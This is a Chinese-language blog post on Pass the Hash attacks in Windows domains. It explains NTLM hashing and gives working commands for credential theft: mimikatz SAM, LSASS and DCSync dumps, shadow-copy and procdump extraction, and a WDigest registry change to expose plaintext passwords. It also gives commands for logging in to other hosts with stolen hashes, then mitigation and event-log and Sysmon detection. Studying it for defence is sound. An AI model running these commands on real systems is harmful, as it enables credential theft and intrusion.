[內網滲透]Pass the Hash(PtH)攻擊手法及防禦、偵測措施

star
15 min readNov 12, 2020

Pass the Hash (PtH)

  • 攻擊者在獲得遠端主機的root權限後,為了進行橫向移動,通常會先提取各用戶的NTLM Hash,並利用 Pass the Hash 攻擊,模擬用戶登入其他主機。
  • 在AD環境中,大多電腦使用domain user登入,但local administrator的密碼可能因管理員管理不當而導致密碼皆相同。
  • 可以對任何接受LM或NTLM身份驗證的服務器或服務執行此技術,包含Windows、Unix或任何其他操作系統。
  • 該攻擊利用了身份驗證協議中的一種實現缺陷,即每次會話之間的hash保持靜態,直到下次更改密碼為止。

Attack Steps

  1. 擁有一台價值較低主機的最高權限(root)。
  2. 利用任意攻擊方式,獲取該主機所有帳戶的hash(包含administrator)。
  3. 運用獲取的local administrator hash,進行PtH登錄其它主機,然後重複進行PtH,在這個過程中,會得到一個local和domain user的hash列表。
  4. 最後,從任意主機中找到一個有特別權限的domain account,能夠用於拜訪DC。

NTLM

  • NTLM全稱“NT LAN Manager”,是一種以NTLM Hash作為根本憑證進行認證的網路認證協議。
  • NTLM與NTLM Hash相互對應,在本地認證的過程中,會將使用者輸入的密碼轉換為NTLM Hash與SAM中的NTLM Hash進行比較。

NTLM Hash

  • 在Windows中,密碼Hash目前稱之為NTLM Hash,NTLM Hash由明文經加密而來,加密流程如下:
    1. 將明文密碼轉換成十六進制的格式
    2. 轉換成Unicode格式,即在每個字節之後添加0x00
    3. 對Unicode字符串作MD4加密,生成32位的十六進制數字
  • NTLM Hash又分爲LM hash和NT hash,如果密碼長度大於15,無法生成LM hash。
  • 從Windows Vista和Windows Server 2008開始,微軟預設禁用LM hash,若手動改變設定,設定也只會在使用者下一次更改密碼時才生效。
  • NT hash是目前Windows所使用的密碼儲存方式,有時會被誤稱為NTLM hash,可從 SAM 資料庫或 DC 的 NTDS 檔案中找到。這也是主要被利用進行 pass-the-hash 攻擊的hash。

Net-NTLM Hash

Net-NTLM Hash用於網絡身份認證(例如NTLM認證中),它不會在網絡上傳遞NT hash,分別稱為NTLMv1 hash和NTLMv2 hash。

Net-NTLMv1

  • Windows 10環境不支持NTLMv1,但在某些攻擊中,依然可以啟用NTLMv1 hash。
  • NTLMv1 hash算法步驟:
    1. 將NT hash與5個字節的零(zeros)連接起來,將這個字符串分成3個7字節的密鑰(keys)
    2. 這3個密鑰(keys)用於使用DES算法對challenge進行加密,得到3個cryptograms,把3個cryptograms串接起來得到NTLMv1 hash
  • NTLMv1 hashes可以被破解,從而得到用於生成NTLMv1 hash的NT hash。存在針對選定的NTLMv1 challenges的彩虹表及工具,可以在數分鐘內獲得NT hash。

Net-NTLMv2

  • NTLMv2身份驗證過程應用了challenge/response交換,該交換不使用用戶的明文密碼,或者使用其NT hash。此功能允許攻擊者在不知道相應密碼的情況下使用NT hash進行身份驗證。
  • NTLMv2 hash算法步驟:
    1. 將user name和domain name連接在一起,然後使用密碼的NT hash作為key,來應用HMAC-MD5 hash函數。
    2. 將上一步的計算結果作為key,將server和client的challenges串起來,並再次應用HMAC-MD5 hash函數。
  • 通常我們使用Responder等工具獲取到的就是NetNTLMv2 hash,此類hash並不能直接使用PtH,但有可能通過暴力破解來獲取明文密碼。

Hash Extraction from Host

透過該方法獲取Hash皆需擁有遠端主機的系統管理員(root)權限。

SAM (NT Hashes in Registry)

  • SAM(安全帳戶管理器)主要負責SAM資料庫的控制和維護。
  • 位於%SystemRoot%/system32/config/SAM 並被掛載在HKLM/SAM 註冊表,受到ACL保護。
  • SAM資料庫中包含所有local account、Microsoft account的Hash、SID等,但不包含domain account。

Obtain hash online

  • meterpreter
run post/windows/gather/smart_hashdump
  • mimikatz
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

Obtain hash offline

  • 透過註冊表儲存檔案
$ reg save HKLM\SYSTEM c:\system.save & reg save HKLM\SAM c:\sam.save
mimikatz # lsadump::sam /system:c:\system.save /sam:c:\sam.save
  • 直接從檔案系統中複製sam和system檔案,這兩個檔案的路徑如下:
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM

預設無法被複製,可使用卷影複製:

$ vssadmin create shadow /for=C:
$ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.save
$ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.save

LSASS (NT Hashes in Memory)

  • LSASS(本機安全認證子系統服務)是位於%SystemRoot%/System32 /Lsass.exe的可執行程序。
  • 每當用戶登入系統時,都會將帶有username和NT hash的資料儲存在lsass.exe程序的memory中。
  • 該技術可提供local、Microsoft、domain的account hash,但僅可獲取當前登入用戶的hash,無法獲取其他未登入用戶的hash。

Attack requirement

  • 管理員用密碼登錄機器,並運行了lsass.exe程序。若欲獲取明文密碼,UseLogonCredential值必須為1
  • 由於部分版本預設默認在內存緩存中禁止保存明文密碼,若欲取得明文密碼,可以用以下指令修改註冊表:
$ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f

更改完後,需要用戶重新登入才能成功抓取明文密碼,因此這一招在實作上成功率較低。

Windows版本對應UseLogonCredential表,轉自 stealthbits

Obtain hash online

  • Mimikatz
privilege::debug
sekurlsa::logonpasswords

Obtain hash offline

  • 先利用Procdump將lsass.exe的memory dump下來,並拿回攻擊機利用mimikatz分析。
$ procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords

mimikatz和procdump的區別在於mimikatz是讀取lsass.exe,procdump是導出lsass.exe,若明文密碼已經保存在lsass.exe程序中,這時把註冊表配置成lsass.exe不保存明文密碼,這個時候mimikatz不能讀取明文,但是procdump將lsass.exe資料dump下來後,仍然可以讀取明文。

Hash Extraction from Network

介紹透過網路獲取Hash的方法。

DCSync

  • DCSync是mimikatz中的命令,依賴於利用Microsoft目錄複製服務遠程協議(MS-DRSR)中的特定命令來模擬DC的行為。
  • 攻擊流程為:發現指定domain中的DC,請求DC通過GetNCChanges複製用戶憑證(利用DRS遠程協議)
  • 若攻擊對象為RODC域控制器,則中斷,因為RODC不能參與復制同步數據。
  • DRS協議是無法禁用的合法Active Directory服務,因此難以防禦。
  • DCSync常是Golden和Silver Ticket攻擊的前兆,因為它可用於獲取krbtgt hash。

Attack requirement

需擁有一些特權權限,通常Administrators, Domain Admins, Enterprise Admins, DC local account群組會擁有這些權限,但更具體地說,需要在domain中擁有以下權限:

  • Replicating Directory Changes
  • Replicating Directory Changes All
  • Replicating Directory Changes In Filtered Set

Obtain hash

  • mimikatz
mimikatz # lsadump::dcsync /domain:test.com /all /csv
  • powershell
PS > Invoke-DCSync -DumpForest | ft -wrap -autosize

Mitigation

  • 審核domain manager和domain member權限,並針對具有域複製權限的特權組作好權限控管。
  • 加強所有組成員的身份驗證要求,以使離線密碼破解更加困難。
  • 加強補丁和配置管理,保護帳戶免受外部攻擊者或惡意內部人員攻擊。

Detection

  • 啟用網絡監控,監視針對DsGetNCChanges操作的DRSUAPI RPC請求的網絡流量,並將源主機與DC列表進行比較,如果源主機未出現在該列表中,則懷疑是DCSync攻擊。
  • 分析Windows事件日誌,可以在事件ID 4662中通過過濾屬性字段{1131f6ad-9c07–11d1-f79f-00c04fc2dcd2}(這是複製目錄更改的訪問權限GUID)來查看用戶何時行使其“複製目錄更改全部”的權限。

Login Tool

成功獲得用戶的NTLM hash後,可以利用以下工具進行登入:

meterpreter

meterpreter > use exploit/windows/smb/psexec_psh

wmiexec

$ wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/test1@192.168.1.1 “whoami”

powershell

  • Invoke-WMIExec
PS > Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command “calc.exe” -verbose
  • Invoke-SMBExec
PS > Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command “calc.exe” -verbose

mimikatz

  • Pass-the-Hash
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:test1 /domain:test.local /ntlm:c5a237b7e9d8e708d8436b6148a25fa1

WCE

$ wce.exe -s Administrator:php90.cn:c92c345f9817c3b2aad3b435b51404ee:746abf11d7c2d09d749cba86b326b60e

pth-smbclient

$ pth-smbclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$

pth-smbclient

$ pth-smbclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$

Mitigation

password policy

  • 確保所有server、主機或者其它開放網絡端口的設備都禁用LM hash。
  • 確保設置了非常強的密碼策略,不在任何地方重用密碼,包括server或administrator帳號,確保local administrator密碼都是唯一的。
  • 執行本地管理員密碼解決方案(LAPS),此防禦措施確保了定期更改本地管理員密碼。
  • 身份驗證策略可以添加減少憑證被盜風險的設置,例如限制使用給定的帳戶進行身份驗證的主機,設置完成後除非從管理控制台登入,否則攻擊者將無法使用洩漏的管理員的密碼hashes。

right management

  • 確保domain administrator用戶只能用於訪問DC。這是由於該帳戶每次使用都會留下一些痕跡,如緩存的賬號或者是LSA密鑰。
  • 定義安全邊界,比如HR主機,開發主機,DMZ server,test server等等,每個安全邊界都應該設置一個對這個組裡的所有主機有管理員權限的domain account(不可是administraotr)。這個用戶應該配置成不能訪問其它主機或服務,且不能是網絡中其它任何設備的管理員。
  • 將FilterAdministratorToken設置為1,限制administrator的遠程登入。

process protection

  • 啟用Windows Defender Credential Guard(WDCG) ,WDCG引入了一個通過虛擬化隔離的LSASS進程(LSAISO),該進程只允許受信任的(trusted)、特權級的(privileged)應用程序訪問,即使惡意應用程序使用admin/SYSTEM權限運行,也無法從LSASS/LSAISO進程獲得憑證。
各種提取方式在win 10下測試情況,轉自 Lukasz Cyra

Detection

  • 檢查eventlog中4624事件是否如下:
Logon Type = 9
Authentication Package = Negotiate
Logon Process = seclogo
  • 利用sysmon自定義事件,可在事件ID 10顯示從pass-the-hash工具訪問LSASS程序的活動。
    自定義事件設定:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID='4624')]
and
EventData[Data[@Name='LogonType']='9']
and
EventData[Data[@Name='LogonProcessName']='seclogo']
and
EventData[Data[@Name='AuthenticationPackageName']='Negotiate']
]
</Select>
</Query>
<Query Id="0" Path="Microsoft-Windows-Sysmon/Operational">
<Select Path="Microsoft-Windows-Sysmon/Operational">
*[System[(EventID=10)]]
and
*[EventData[Data[@Name='GrantedAccess'] and (Data='0x1010' or Data='0x1038')]]
</Select>
</Query>
</QueryList>

Reference

--

--

star

Let life be beautiful like summer flowers And Death like autumn leaves.